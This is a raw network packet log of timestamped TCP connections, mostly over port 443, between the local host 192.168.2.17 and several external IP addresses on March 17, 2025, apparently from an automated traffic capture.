Mar 17, 2025 17:03:23.105132103 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.105150938 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.105231047 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.105238914 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.105287075 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.120951891 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.120975971 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.121032000 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.121040106 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.121066093 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.121079922 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.125921011 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.125941992 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.126010895 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.126019955 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.126066923 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.135390997 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.135410070 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.135485888 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.135495901 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.135544062 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.248939991 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.248986006 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.249046087 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.249080896 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.249094963 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.249125004 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.257865906 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.257884026 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.257960081 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.257971048 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.258032084 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.267864943 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.267880917 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.267976999 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.267987013 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.268032074 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.277523994 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.277540922 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.277612925 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.277621031 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.277674913 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.282489061 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.282565117 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.282573938 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.292486906 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.292504072 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.292582035 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.292597055 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.298688889 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.298767090 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.298779011 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.303744078 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.303843021 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.303858995 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.314024925 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.314042091 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.314105034 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.314119101 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.318165064 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.318236113 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.318245888 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.323303938 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.323368073 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.323376894 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.343238115 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.343255043 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.343336105 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.343347073 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.346546888 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.346615076 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.346623898 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.346637964 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.346683979 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.346826077 CET	49764	443	192.168.2.17	119.28.146.206
Mar 17, 2025 17:03:23.346839905 CET	443	49764	119.28.146.206	192.168.2.17
Mar 17, 2025 17:03:23.362664938 CET	49789	443	192.168.2.17	151.101.129.229
Mar 17, 2025 17:03:23.362689972 CET	443	49789	151.101.129.229	192.168.2.17
Mar 17, 2025 17:03:23.362760067 CET	49789	443	192.168.2.17	151.101.129.229
Mar 17, 2025 17:03:23.362880945 CET	49789	443	192.168.2.17	151.101.129.229
Mar 17, 2025 17:03:23.362891912 CET	443	49789	151.101.129.229	192.168.2.17
Mar 17, 2025 17:03:23.370933056 CET	49790	443	192.168.2.17	172.67.210.51
Mar 17, 2025 17:03:23.370948076 CET	443	49790	172.67.210.51	192.168.2.17
Mar 17, 2025 17:03:23.371021986 CET	49790	443	192.168.2.17	172.67.210.51
Mar 17, 2025 17:03:23.371164083 CET	49790	443	192.168.2.17	172.67.210.51
Mar 17, 2025 17:03:23.371172905 CET	443	49790	172.67.210.51	192.168.2.17
Mar 17, 2025 17:03:23.655785084 CET	443	49786	142.250.184.228	192.168.2.17
Mar 17, 2025 17:03:23.655903101 CET	49786	443	192.168.2.17	142.250.184.228
Mar 17, 2025 17:03:23.656900883 CET	49786	443	192.168.2.17	142.250.184.228
Mar 17, 2025 17:03:23.656913996 CET	443	49786	142.250.184.228	192.168.2.17
Mar 17, 2025 17:03:23.657124043 CET	443	49786	142.250.184.228	192.168.2.17
Mar 17, 2025 17:03:23.707916975 CET	49786	443	192.168.2.17	142.250.184.228
Mar 17, 2025 17:03:23.829560041 CET	443	49789	151.101.129.229	192.168.2.17
Mar 17, 2025 17:03:23.829684019 CET	49789	443	192.168.2.17	151.101.129.229
Mar 17, 2025 17:03:23.830634117 CET	49789	443	192.168.2.17	151.101.129.229
Mar 17, 2025 17:03:23.830640078 CET	443	49789	151.101.129.229	192.168.2.17
Mar 17, 2025 17:03:23.830868959 CET	443	49789	151.101.129.229	192.168.2.17
Mar 17, 2025 17:03:23.831154108 CET	49789	443	192.168.2.17	151.101.129.229
Mar 17, 2025 17:03:23.848680019 CET	443	49790	172.67.210.51	192.168.2.17
Mar 17, 2025 17:03:23.848759890 CET	49790	443	192.168.2.17	172.67.210.51
Mar 17, 2025 17:03:23.849934101 CET	49790	443	192.168.2.17	172.67.210.51
Mar 17, 2025 17:03:23.849941969 CET	443	49790	172.67.210.51	192.168.2.17
Mar 17, 2025 17:03:23.850138903 CET	443	49790	172.67.210.51	192.168.2.17
Mar 17, 2025 17:03:23.850438118 CET	49790	443	192.168.2.17	172.67.210.51
Mar 17, 2025 17:03:23.872332096 CET	443	49789	151.101.129.229	192.168.2.17
Mar 17, 2025 17:03:23.896323919 CET	443	49790	172.67.210.51	192.168.2.17
Mar 17, 2025 17:03:24.031724930 CET	443	49789	151.101.129.229	192.168.2.17
Mar 17, 2025 17:03:24.031872988 CET	443	49789	151.101.129.229	192.168.2.17
Mar 17, 2025 17:03:24.031934023 CET	49789	443	192.168.2.17	151.101.129.229
Mar 17, 2025 17:03:24.033505917 CET	49789	443	192.168.2.17	151.101.129.229
Mar 17, 2025 17:03:24.033518076 CET	443	49789	151.101.129.229	192.168.2.17
Mar 17, 2025 17:03:28.531307936 CET	443	49790	172.67.210.51	192.168.2.17
Mar 17, 2025 17:03:28.531388044 CET	443	49790	172.67.210.51	192.168.2.17
Mar 17, 2025 17:03:28.531527996 CET	49790	443	192.168.2.17	172.67.210.51
Mar 17, 2025 17:03:28.532058954 CET	49790	443	192.168.2.17	172.67.210.51
Mar 17, 2025 17:03:28.532075882 CET	443	49790	172.67.210.51	192.168.2.17
Mar 17, 2025 17:03:28.552678108 CET	49792	443	192.168.2.17	104.21.91.45
Mar 17, 2025 17:03:28.552711964 CET	443	49792	104.21.91.45	192.168.2.17
Mar 17, 2025 17:03:28.552791119 CET	49792	443	192.168.2.17	104.21.91.45
Mar 17, 2025 17:03:28.552922010 CET	49792	443	192.168.2.17	104.21.91.45
Mar 17, 2025 17:03:28.552936077 CET	443	49792	104.21.91.45	192.168.2.17
Mar 17, 2025 17:03:28.629231930 CET	49682	443	192.168.2.17	51.132.193.104
Mar 17, 2025 17:03:28.645312071 CET	49683	80	192.168.2.17	2.17.190.73
Mar 17, 2025 17:03:28.645399094 CET	49671	443	192.168.2.17	52.109.28.46
Mar 17, 2025 17:03:28.776901007 CET	49698	443	192.168.2.17	184.86.251.25
Mar 17, 2025 17:03:28.781589985 CET	443	49698	184.86.251.25	192.168.2.17
Mar 17, 2025 17:03:28.931926012 CET	49682	443	192.168.2.17	51.132.193.104
Mar 17, 2025 17:03:28.947887897 CET	49683	80	192.168.2.17	2.17.190.73
Mar 17, 2025 17:03:28.947927952 CET	49671	443	192.168.2.17	52.109.28.46
Mar 17, 2025 17:03:28.969741106 CET	443	49698	184.86.251.25	192.168.2.17
Mar 17, 2025 17:03:28.969804049 CET	49698	443	192.168.2.17	184.86.251.25
Mar 17, 2025 17:03:28.970504045 CET	49698	443	192.168.2.17	184.86.251.25
Mar 17, 2025 17:03:28.970617056 CET	49698	443	192.168.2.17	184.86.251.25
Mar 17, 2025 17:03:28.970752954 CET	49698	443	192.168.2.17	184.86.251.25
Mar 17, 2025 17:03:28.970864058 CET	49698	443	192.168.2.17	184.86.251.25
Mar 17, 2025 17:03:28.975094080 CET	443	49698	184.86.251.25	192.168.2.17
Mar 17, 2025 17:03:28.975255013 CET	443	49698	184.86.251.25	192.168.2.17
Mar 17, 2025 17:03:28.975383997 CET	443	49698	184.86.251.25	192.168.2.17
Mar 17, 2025 17:03:28.975394964 CET	443	49698	184.86.251.25	192.168.2.17
Mar 17, 2025 17:03:28.975435019 CET	443	49698	184.86.251.25	192.168.2.17
Mar 17, 2025 17:03:29.009149075 CET	443	49792	104.21.91.45	192.168.2.17
Mar 17, 2025 17:03:29.009221077 CET	49792	443	192.168.2.17	104.21.91.45
Mar 17, 2025 17:03:29.009660959 CET	49792	443	192.168.2.17	104.21.91.45
Mar 17, 2025 17:03:29.009670973 CET	443	49792	104.21.91.45	192.168.2.17
Mar 17, 2025 17:03:29.009917021 CET	443	49792	104.21.91.45	192.168.2.17
Mar 17, 2025 17:03:29.010191917 CET	49792	443	192.168.2.17	104.21.91.45
Mar 17, 2025 17:03:29.056332111 CET	443	49792	104.21.91.45	192.168.2.17
Mar 17, 2025 17:03:29.166522980 CET	443	49698	184.86.251.25	192.168.2.17
Mar 17, 2025 17:03:29.166587114 CET	49698	443	192.168.2.17	184.86.251.25
Mar 17, 2025 17:03:29.166687012 CET	49698	443	192.168.2.17	184.86.251.25
Mar 17, 2025 17:03:29.172470093 CET	443	49698	184.86.251.25	192.168.2.17
Mar 17, 2025 17:03:29.258193016 CET	443	49698	184.86.251.25	192.168.2.17
Mar 17, 2025 17:03:29.258266926 CET	49698	443	192.168.2.17	184.86.251.25
Mar 17, 2025 17:03:29.319905043 CET	443	49792	104.21.91.45	192.168.2.17
Mar 17, 2025 17:03:29.319978952 CET	443	49792	104.21.91.45	192.168.2.17
Mar 17, 2025 17:03:29.320075035 CET	49792	443	192.168.2.17	104.21.91.45
Mar 17, 2025 17:03:29.320594072 CET	49792	443	192.168.2.17	104.21.91.45
Mar 17, 2025 17:03:29.320616007 CET	443	49792	104.21.91.45	192.168.2.17
Mar 17, 2025 17:03:29.536869049 CET	49682	443	192.168.2.17	51.132.193.104
Mar 17, 2025 17:03:29.552872896 CET	49683	80	192.168.2.17	2.17.190.73
Mar 17, 2025 17:03:29.552918911 CET	49671	443	192.168.2.17	52.109.28.46
Mar 17, 2025 17:03:30.064974070 CET	49672	443	192.168.2.17	52.123.128.14
Mar 17, 2025 17:03:30.209322929 CET	49673	443	192.168.2.17	204.79.197.203
Mar 17, 2025 17:03:30.368884087 CET	49672	443	192.168.2.17	52.123.128.14
Mar 17, 2025 17:03:30.512878895 CET	49673	443	192.168.2.17	204.79.197.203
Mar 17, 2025 17:03:30.736884117 CET	49682	443	192.168.2.17	51.132.193.104
Mar 17, 2025 17:03:30.752880096 CET	49683	80	192.168.2.17	2.17.190.73
Mar 17, 2025 17:03:30.752923012 CET	49671	443	192.168.2.17	52.109.28.46
Mar 17, 2025 17:03:30.978228092 CET	49672	443	192.168.2.17	52.123.128.14
Mar 17, 2025 17:03:31.120883942 CET	49673	443	192.168.2.17	204.79.197.203
Mar 17, 2025 17:03:31.562025070 CET	49793	443	192.168.2.17	92.123.12.181
Mar 17, 2025 17:03:31.562107086 CET	443	49793	92.123.12.181	192.168.2.17
Mar 17, 2025 17:03:31.562252998 CET	49793	443	192.168.2.17	92.123.12.181
Mar 17, 2025 17:03:31.562339067 CET	49793	443	192.168.2.17	92.123.12.181
Mar 17, 2025 17:03:31.562347889 CET	443	49793	92.123.12.181	192.168.2.17
Mar 17, 2025 17:03:31.597352028 CET	49794	443	192.168.2.17	172.67.210.51
Mar 17, 2025 17:03:31.597376108 CET	443	49794	172.67.210.51	192.168.2.17
Mar 17, 2025 17:03:31.597469091 CET	49794	443	192.168.2.17	172.67.210.51
Mar 17, 2025 17:03:31.598079920 CET	49794	443	192.168.2.17	172.67.210.51
Mar 17, 2025 17:03:31.598095894 CET	443	49794	172.67.210.51	192.168.2.17
Mar 17, 2025 17:03:32.054292917 CET	443	49794	172.67.210.51	192.168.2.17
Mar 17, 2025 17:03:32.054577112 CET	49794	443	192.168.2.17	172.67.210.51
Mar 17, 2025 17:03:32.054611921 CET	443	49794	172.67.210.51	192.168.2.17
Mar 17, 2025 17:03:32.054789066 CET	49794	443	192.168.2.17	172.67.210.51
Mar 17, 2025 17:03:32.054795980 CET	443	49794	172.67.210.51	192.168.2.17
Mar 17, 2025 17:03:32.185878038 CET	49672	443	192.168.2.17	52.123.128.14
Mar 17, 2025 17:03:32.208519936 CET	443	49793	92.123.12.181	192.168.2.17
Mar 17, 2025 17:03:32.208592892 CET	49793	443	192.168.2.17	92.123.12.181
Mar 17, 2025 17:03:32.209743977 CET	49793	443	192.168.2.17	92.123.12.181
Mar 17, 2025 17:03:32.209753990 CET	443	49793	92.123.12.181	192.168.2.17
Mar 17, 2025 17:03:32.210128069 CET	443	49793	92.123.12.181	192.168.2.17
Mar 17, 2025 17:03:32.210381031 CET	49793	443	192.168.2.17	92.123.12.181
Mar 17, 2025 17:03:32.256321907 CET	443	49793	92.123.12.181	192.168.2.17
Mar 17, 2025 17:03:32.324875116 CET	49673	443	192.168.2.17	204.79.197.203
Mar 17, 2025 17:03:32.479629993 CET	443	49793	92.123.12.181	192.168.2.17
Mar 17, 2025 17:03:32.479660988 CET	443	49793	92.123.12.181	192.168.2.17
Mar 17, 2025 17:03:32.479727030 CET	49793	443	192.168.2.17	92.123.12.181
Mar 17, 2025 17:03:32.479754925 CET	443	49793	92.123.12.181	192.168.2.17
Mar 17, 2025 17:03:32.480330944 CET	443	49793	92.123.12.181	192.168.2.17
Mar 17, 2025 17:03:32.480348110 CET	49793	443	192.168.2.17	92.123.12.181
Mar 17, 2025 17:03:32.480356932 CET	443	49793	92.123.12.181	192.168.2.17
Mar 17, 2025 17:03:32.480381966 CET	49793	443	192.168.2.17	92.123.12.181
Mar 17, 2025 17:03:32.480412006 CET	49793	443	192.168.2.17	92.123.12.181
Mar 17, 2025 17:03:32.492039919 CET	49801	443	192.168.2.17	92.123.12.139
Mar 17, 2025 17:03:32.492072105 CET	443	49801	92.123.12.139	192.168.2.17
Mar 17, 2025 17:03:32.492146015 CET	49801	443	192.168.2.17	92.123.12.139
Mar 17, 2025 17:03:32.492310047 CET	49801	443	192.168.2.17	92.123.12.139
Mar 17, 2025 17:03:32.492319107 CET	443	49801	92.123.12.139	192.168.2.17
Mar 17, 2025 17:03:33.102622986 CET	443	49794	172.67.210.51	192.168.2.17
Mar 17, 2025 17:03:33.102737904 CET	443	49794	172.67.210.51	192.168.2.17
Mar 17, 2025 17:03:33.102793932 CET	49794	443	192.168.2.17	172.67.210.51
Mar 17, 2025 17:03:33.103802919 CET	49794	443	192.168.2.17	172.67.210.51
Mar 17, 2025 17:03:33.103815079 CET	443	49794	172.67.210.51	192.168.2.17
Mar 17, 2025 17:03:33.107001066 CET	49802	443	192.168.2.17	104.21.91.45
Mar 17, 2025 17:03:33.107018948 CET	443	49802	104.21.91.45	192.168.2.17
Mar 17, 2025 17:03:33.107091904 CET	49802	443	192.168.2.17	104.21.91.45
Mar 17, 2025 17:03:33.107263088 CET	49802	443	192.168.2.17	104.21.91.45
Mar 17, 2025 17:03:33.107280016 CET	443	49802	104.21.91.45	192.168.2.17
Mar 17, 2025 17:03:33.129502058 CET	443	49801	92.123.12.139	192.168.2.17
Mar 17, 2025 17:03:33.129574060 CET	49801	443	192.168.2.17	92.123.12.139
Mar 17, 2025 17:03:33.130106926 CET	49801	443	192.168.2.17	92.123.12.139
Mar 17, 2025 17:03:33.130116940 CET	443	49801	92.123.12.139	192.168.2.17
Mar 17, 2025 17:03:33.130345106 CET	443	49801	92.123.12.139	192.168.2.17
Mar 17, 2025 17:03:33.130564928 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:33.130585909 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:33.130640984 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:33.130925894 CET	49804	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:33.130945921 CET	443	49804	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:33.131002903 CET	49804	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:33.131232023 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:33.131241083 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:33.131376982 CET	49804	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:33.131386042 CET	443	49804	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:33.131505013 CET	49801	443	192.168.2.17	92.123.12.139
Mar 17, 2025 17:03:33.151860952 CET	49682	443	192.168.2.17	51.132.193.104
Mar 17, 2025 17:03:33.167884111 CET	49683	80	192.168.2.17	2.17.190.73
Mar 17, 2025 17:03:33.167916059 CET	49671	443	192.168.2.17	52.109.28.46
Mar 17, 2025 17:03:33.176322937 CET	443	49801	92.123.12.139	192.168.2.17
Mar 17, 2025 17:03:33.408657074 CET	443	49801	92.123.12.139	192.168.2.17
Mar 17, 2025 17:03:33.408687115 CET	443	49801	92.123.12.139	192.168.2.17
Mar 17, 2025 17:03:33.408761978 CET	49801	443	192.168.2.17	92.123.12.139
Mar 17, 2025 17:03:33.408780098 CET	443	49801	92.123.12.139	192.168.2.17
Mar 17, 2025 17:03:33.409796000 CET	443	49801	92.123.12.139	192.168.2.17
Mar 17, 2025 17:03:33.409869909 CET	49801	443	192.168.2.17	92.123.12.139
Mar 17, 2025 17:03:33.416980982 CET	49801	443	192.168.2.17	92.123.12.139
Mar 17, 2025 17:03:33.416990995 CET	443	49801	92.123.12.139	192.168.2.17
Mar 17, 2025 17:03:33.558190107 CET	443	49786	142.250.184.228	192.168.2.17
Mar 17, 2025 17:03:33.558235884 CET	443	49786	142.250.184.228	192.168.2.17
Mar 17, 2025 17:03:33.558304071 CET	49786	443	192.168.2.17	142.250.184.228
Mar 17, 2025 17:03:33.563816071 CET	443	49802	104.21.91.45	192.168.2.17
Mar 17, 2025 17:03:33.564035892 CET	49802	443	192.168.2.17	104.21.91.45
Mar 17, 2025 17:03:33.564063072 CET	443	49802	104.21.91.45	192.168.2.17
Mar 17, 2025 17:03:33.564186096 CET	49802	443	192.168.2.17	104.21.91.45
Mar 17, 2025 17:03:33.564191103 CET	443	49802	104.21.91.45	192.168.2.17
Mar 17, 2025 17:03:33.746484995 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:33.746613979 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:33.751619101 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:33.751630068 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:33.751826048 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:33.753616095 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:33.764800072 CET	443	49804	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:33.764895916 CET	49804	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:33.765362024 CET	49804	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:33.765366077 CET	443	49804	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:33.765559912 CET	443	49804	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:33.766868114 CET	49804	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:33.796327114 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:33.808325052 CET	443	49804	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:33.890763998 CET	443	49802	104.21.91.45	192.168.2.17
Mar 17, 2025 17:03:33.890824080 CET	443	49802	104.21.91.45	192.168.2.17
Mar 17, 2025 17:03:33.890881062 CET	49802	443	192.168.2.17	104.21.91.45
Mar 17, 2025 17:03:33.891506910 CET	49802	443	192.168.2.17	104.21.91.45
Mar 17, 2025 17:03:33.891518116 CET	443	49802	104.21.91.45	192.168.2.17
Mar 17, 2025 17:03:34.082432985 CET	49786	443	192.168.2.17	142.250.184.228
Mar 17, 2025 17:03:34.082461119 CET	443	49786	142.250.184.228	192.168.2.17
Mar 17, 2025 17:03:34.599977016 CET	49672	443	192.168.2.17	52.123.128.14
Mar 17, 2025 17:03:34.728010893 CET	49673	443	192.168.2.17	204.79.197.203
Mar 17, 2025 17:03:34.872287989 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:34.886599064 CET	443	49804	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:34.886641979 CET	443	49804	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:34.886795998 CET	49804	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:34.886807919 CET	443	49804	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:34.886856079 CET	49804	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:34.887114048 CET	49804	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:34.887149096 CET	443	49804	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:34.887197971 CET	49804	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:34.902240992 CET	49809	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:34.902271032 CET	443	49809	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:34.902342081 CET	49809	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:34.902471066 CET	49809	443	192.168.2.17	95.101.182.98
Mar 17, 2025 17:03:34.902482033 CET	443	49809	95.101.182.98	192.168.2.17
Mar 17, 2025 17:03:34.918874025 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:34.958945990 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:34.958959103 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:34.959002018 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:34.959029913 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:34.959167004 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:34.959167957 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:34.959181070 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:34.959235907 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.011058092 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.011084080 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.011260033 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.011269093 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.011327028 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.045613050 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.045633078 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.045805931 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.045814037 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.045855999 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.169115067 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.169141054 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.169245958 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.169267893 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.169421911 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.254684925 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.254707098 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.254791021 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.254812956 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.254995108 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.318383932 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.318407059 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.318629980 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.318653107 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.318707943 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.340202093 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.340226889 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.340318918 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.340328932 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.340468884 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.360260963 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.360285044 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.360452890 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.360460997 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.360512018 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.369110107 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.369182110 CET	49803	443	192.168.2.17	95.101.182.112
Mar 17, 2025 17:03:35.388803959 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.388854027 CET	443	49803	95.101.182.112	192.168.2.17
Mar 17, 2025 17:03:35.388987064 CET	49803	443	192.168.2.17	95.101.182.112
